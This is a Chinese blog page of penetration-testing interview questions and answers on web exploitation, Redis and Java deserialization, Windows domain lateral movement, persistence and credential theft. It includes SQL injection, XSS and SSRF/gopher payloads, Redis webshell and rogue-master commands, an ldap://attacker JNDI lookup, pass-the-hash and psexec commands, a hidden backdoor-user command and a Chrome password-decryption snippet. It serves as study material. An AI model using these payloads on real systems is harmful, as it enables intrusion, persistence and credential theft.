当前位置: 首页 > news >正文

2025年渗透测试面试题总结-34(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

一、SQL注入报错函数

二、DOM型 XSS

三、SSRF利用点

四、SQL注入点(空表利用)

五、MVC代码审计流程

六、实战漏洞案例(挖洞经历)

七、Redis利用姿势及环境差异

八、Fastjson回显

九、JNDI注入原理

十、端口389

十一、Java回显技术

十二、泛微OA XStream回显差异

十三、Shiro限制Payload长度

十四、文件上传白名单绕过

十五、00截断原理

十六、判断域控的几种方式

十七、工作组横向

十八、域内横向

十九、Windows认证协议

二十、黄金票据 vs 白银票据

二十一、判断是否在域内

二十二、Hash传递原理

二十三、权限维持

二十四、横向移动姿势

二十五、凭证获取

二十六、对抗杀软添加后门用户

二十七、Chrome密码提取原

sql注入的报错函数
dom 型 xss
ssrf 利用点
sql注入点,空表如何利用
mvc代码审计流程
看你简历有在挖洞,说一下你挖过的洞
Redis 利用姿势及环境差异
fastjson回显
jndi注入及原理
端口 389
Java 回显
泛微oa xstream的回显(jdk1.8和1.7的差异)
shiro 限制payload长度
Java回显的通用思路以及不同版本jdk的差异
文件上传白名单利用
00截断的原理
判断域控的几种方式
工作组横向
域内横向
Windows认证协议
白银票据黄金票据
判断是否在域内
hash传递原理
权限维持
横向移动的各种姿势及原理
凭证获取(姿势/常用/原理/对抗)
如何对抗杀软加后门用户
Chrome dump密码的原理,如果让你写个工具,思路是什么(或者别人工具的实现原理)

一、SQL注入报错函数

原理:利用数据库报错信息泄露数据
常见函数

  • MySQL:updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)(XML路径错误)
  • SQL Server:convert(int,@@version)(类型转换错误)
    防御:参数化查询 + 错误信息屏蔽

二、DOM型 XSS

原理:前端JavaScript直接操作DOM时未过滤输入(如 document.write(location.hash)
案例

javascript// 漏洞代码 const attackPayload = "#<img src=x onerror=alert(document.cookie)>" window.location.hash = attackPayload; // 触发XSS

防御:对 location.hash/document.referrer 等来源严格过滤


三、SSRF利用点

关键目标

  1. 内网探测http://192.168.0.1:8080
  2. 协议利用
    • file:///etc/passwd(读文件)
    • gopher://:6379/_*1%0d$8%0dflushall%0d...(攻击Redis未授权)
  3. 云元数据http://169.254.169.254/metadata(AWS/Azure)
    防御:禁用非常用协议(如gopher),配置网络隔离

四、SQL注入点(空表利用)

技巧

  • 虚拟数据注入UNION SELECT 1,concat('~',version(),'~'),3
  • 系统表利用
    sqlUNION SELECT table_name,column_name,3 FROM information_schema.columns WHERE table_schema=database()

原理:通过information_schema获取元数据结构


五、MVC代码审计流程

mermaidgraph TD A[入口点] --> B[Controller层] B --> C[参数接收] --> D[过滤机制检查] D --> E[Service层] --> F[SQL拼接/ORM] F --> G[DAO层] --> H[数据库操作] H --> I[返回渲染] --> J[View模板引擎XSS]

关键点

  1. 控制器参数绑定(如@RequestParam是否过滤)
  2. ORM框架使用(MyBatis中${}拼接风险)
  3. 视图层输出编码(Freemarker自动转义配置)

六、实战漏洞案例(挖洞经历)

  1. OA系统文件上传绕过
    • 白名单校验.jpg,但Apache解析漏洞(shell.php.xyz → 执行PHP)
  2. Shiro反序列化
    • 硬编码密钥 → 构造恶意序列化数据 → RCE
  3. Fastjson JNDI注入
    • 未升级版本(≤1.2.24)→ @type触发LDAP加载恶意类

七、Redis利用姿势及环境差异

环境利用方式差异说明
Linux写WebShell:config set dir /var/www/html + set x "<?php ...需Web目录可写权限
Windows写启动项:config set dir C:/Windows/Tasks + set x "\r\n恶意命令"需Redis以SYSTEM权限运行
通用主从复制RCE:SLAVEOF 攻击者IP → 加载恶意模块Redis 4.x+ 支持模块扩展

八、Fastjson回显

条件:目标出网受限时需构造回显
方法

  • 修改HTTP响应:通过TemplatesImpl注入恶意类篡改Response对象
  • JDK差异:≤JDK8u65可用com.sun.org.apache... 类反射修改内容

九、JNDI注入原理

mermaidsequenceDiagram 攻击者->>恶意服务器: 启动LDAP/RMI服务 目标应用->>恶意服务器: JNDI查询 (如 lookup('ldap://attacker/Exploit')) 恶意服务器->>目标应用: 返回恶意类地址 目标应用->>恶意服务器: 下载并实例化Exploit.class 目标应用->>目标应用: 执行恶意代码

防御:升级JDK(≥6u132/7u122/8u113默认禁远程加载)


十、端口389

用途:LDAP协议默认端口(域环境核心)
攻击面

  • 匿名查询域用户信息(若未配置认证)
  • LDAP注入(类似SQL注入)
  • 黄金票据伪造依赖389端口通信

十一、Java回显技术

通用思路

  1. 反射获取Response对象
    javaThread.currentThread().getContextClassLoader() .loadClass("org.apache.catalina.connector.Response") .getMethod("getWriter").invoke(...).write("data");
  2. 内存写入:通过自定义ClassLoader修改全局变量
    JDK差异
  • ≤JDK8:可利用sun.misc.BASE64Encoder 等类
  • ≥JDK9:需用java.util.Base64 等公开API

十二、泛微OA XStream回显差异

JDK版本利用方式原因
1.7直接使用EventHandler触发RCE未限制反射调用
1.8需绕过(如CVE-2021-21344链)SecurityManager增强限制

十三、Shiro限制Payload长度

绕过方案

  1. 分段加载
    • 首Payload注册ClassLoader → 后续Payload分片传输
  2. 内存马注入
    • 短Payload写入Filter型内存马(如Behinder)
      防御:配置Shiro密钥复杂度 + 拦截异常反序列化请求

十四、文件上传白名单绕过

手法

  1. 解析漏洞
    • IIS6.0:shell.asp;.jpg → 解析为ASP
  2. 特殊字符
    • 空格截断:shell.php .jpg(Windows自动去除空格)
    • 双重扩展名:shell.jpg.php (校验逻辑缺陷)

十五、00截断原理

本质:C语言中\x00表示字符串结束符
利用

  • 路径截断:upload/shell.php%00.jpg → 保存为shell.php
    条件:PHP版本<5.3(高版本已修复)

十六、判断域控的几种方式

  1. 端口扫描:389(LDAP)、88(Kerberos)开放
  2. 命令检测
    • nltest /domain_trusts
    • net group "Domain Controllers" /domain
  3. DNS查询:定位_ldap._tcp.dc._msdcs.< 域名> SRV记录

十七、工作组横向

核心协议:SMB(445端口)
手法

  • 爆破攻击:弱口令扫描(IPC$共享)
  • PsExecpsexec.exe \\192.168.1.2 -u admin -p pass cmd.exe
  • WMI执行wmic /node:192.168.1.2 process call create "cmd.exe"

十八、域内横向

高效手段

  • 票据传递
    • 黄金票据:伪造TGT访问任意服务
    • 白银票据:伪造ST访问特定服务(如CIFS)
  • 委派攻击:约束委派/基于资源委派滥用

十九、Windows认证协议

协议特点风险
NTLM基于Challenge-Response,支持Pass-the-Hash易受中间人攻击
Kerberos票据认证,依赖KDC黄金票据伪造难度高
Net-NTLMv2改进版NTLM,仍可被Relay攻击需SMB签名防御

二十、黄金票据 vs 白银票据

特性黄金票据白银票据
伪造对象TGT(认证票据)ST(服务票据)
所需信息krbtgt账户Hash服务账户NTLM Hash
权限范围访问域内任意服务仅限特定服务(如CIFS)
检测难度高(票据加密有效)中(需监控服务日志)

二十一、判断是否在域内

  1. 命令检测
    • systeminfo | findstr /B /C:"Domain"
    • ipconfig /all(查看DNS后缀)
  2. 注册表
    • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Domain
  3. 网络痕迹:尝试访问\\<域名>\NETLOGON

二十二、Hash传递原理

本质:直接使用NTLM Hash登录(非明文密码)
流程

mermaidgraph LR A[攻击者] -->|传递Hash| B[目标服务器] B -->|验证| C[域控] C -->|返回认证结果| B

工具pth-winexe -U admin%aad3b435b51404eeaad3b435b51404ee:XXXXXX //192.168.1.2 cmd


二十三、权限维持

手法原理检测难度
计划任务schtasks创建定时启动后门
服务注册sc create创建恶意服务
WMI事件订阅响应系统事件触发后门
SSH公钥注入~/.ssh/authorized_keys写入攻击者密钥

二十四、横向移动姿势

  1. 远程执行
    • PsExec / WMI / PowerShell Remoting
  2. 共享传输
    • 上传木马到ADMIN$共享 → 计划任务执行
  3. 凭证窃取
    • Mimikatz提取内存凭证 → 用于新主机

二十五、凭证获取

来源工具对抗措施
内存提取Mimikatz(sekurlsa)启用Credential Guard
磁盘文件LaZagne(读取Chrome等)全盘加密(BitLocker)
网络嗅探Responder(NTLM Relay)启用SMB签名
注册表reg query HKLM\SAMSyskey保护

二十六、对抗杀软添加后门用户

绕过技巧

  1. 隐藏用户
    • net user backdoor$ Password123 /add($符号隐藏)
  2. 注册表克隆
    • 复制现有管理员用户SID → 绕过审计
  3. 无文件加载
    • PowerShell内存加载恶意DLL(Avoid Write-Host)

二十七、Chrome密码提取原理

核心步骤

  1. 定位数据库
    %LocalAppData%\Google\Chrome\User Data\Default\Login Data
  2. 解密密钥
    • 调用CryptUnprotectData API(需用户登录会话)
  3. SQLite查询
    sqlSELECT origin_url, username_value, password_value FROM logins;

工具实现伪代码

pythonimport sqlite3, win32crypt db = sqlite3.connect("Login Data") cursor = db.cursor() cursor.execute("SELECT password_value FROM logins") encrypted_data = cursor.fetchone()[0] decrypted = win32crypt.CryptUnprotectData(encrypted_data) print(decrypted)

http://www.dtcms.com/a/352670.html

相关文章:

  • three.js+WebGL踩坑经验合集(9.2):polygonOffsetFactor工作原理大揭秘
  • Langchian-chatchat私有化部署和踩坑问题以及解决方案[v0.3.1]
  • More Effective C++ 条款10:在构造函数中防止资源泄漏
  • 二维费用背包 分组背包
  • 小范围疫情防控元胞自动机模拟matlab
  • 深入剖析容器文件系统:原理、实现与资源占用分析
  • 游戏空间划分技术
  • 家庭财务规划与投资系统的设计与实现(代码+数据库+LW)
  • 声网RTC稳定连麦、超分清晰,出海直播技术不再难选
  • AT_abc403_f [ABC403F] Shortest One Formula
  • 【44页PPT】极简架构MES系统解决方案介绍(附下载方式)
  • 【Python】雷达簇类ply点云仿真生成,以及聚类算法的簇类目标检测
  • flutter专栏--dart基础知识
  • WebGIS开发智慧校园(6)JavaScript
  • 破解VMware迁移难题的技术
  • SSH密钥登录全流程详解
  • LeetCode-221. 最大正方形
  • 多模块 Starter 最佳实践(强烈推荐!!!)
  • Quarkus OIDC 安全链路时序图
  • git换行行为差异简述;.editorconfig换行行为简述
  • 打工人日报#20250826
  • 【PS实战】制作hello标志设计:从选区到色彩填充的流程(大学作业)
  • springboot启动的时候,只打印logo,不打印其他的任何日志的原因
  • 【ElasticSearch】数据同步
  • 人形机器人的“奥运会“:宇树科技领跑,动捕技术成训练关键
  • git submodule的基本使用
  • 数据与端点安全 (Protect data and apps)
  • 利用 Python 爬虫按关键字搜索 1688 商品详情 API 返回值说明(代码示例)实战指南
  • 从零开始配置前端环境及必要软件安装
  • 技术总结:AArch64架构下Jenkins Agent(RPM容器编译节点)掉线问题分析与排查